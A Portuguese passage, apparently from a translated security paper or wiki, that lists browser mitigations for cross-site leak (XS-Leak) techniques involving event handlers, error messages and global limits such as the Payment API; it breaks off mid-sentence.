* **Manipulador de Eventos**. A **mitigação mais eficaz** nesta técnica de vazamento seria **negá-los todos**, mas isso quebraria a maioria das aplicações da Web na Internet. Portanto, propomos **reduzir o número de informações necessárias que podem ser coletadas dentro dos eventos**. Por exemplo, o evento de violação do CSP não deve conter a URL de destino de redirecionamento no campo blockedURI. Esse comportamento é implementado no FF e em versões mais recentes do GC - apenas o SA permanece vulnerável.
* **Mensagens de Erro**. Para mitigar XS-Leaks baseados na técnica de vazamento de mensagens de erro, existem dois requisitos principais. Primeiro, **as mensagens de erro não devem conter informações detalhadas**, semelhantes às mensagens do manipulador de eventos. Em segundo lugar, os navegadores devem **minimizar as ocorrências de mensagens de erro**. XS-Leaks, como Erro SRI, XFO do ContentDocument ou Redirecionamento de Busca, detectam se uma mensagem de erro é lançada ou não.
* **Limites Globais**. Corrigir as técnicas de vazamento que abusam dos limites globais é relativamente complexo porque eles dependem de restrições físicas. A recomendação geral é, portanto, **restringir os limites globais em uma pequena base por site**. Se o limite global for 1, como para a API de Pagamento, o invasor pode tentar silenciosamente ativar a interface do usuário de pagamento da Web a qualquer momento, o que só terá sucesso se a interface do usuário não estiver sendo usada simultaneamente por outra guia. Recomendamos acessar a API de Pagamento apenas quando um evento confiável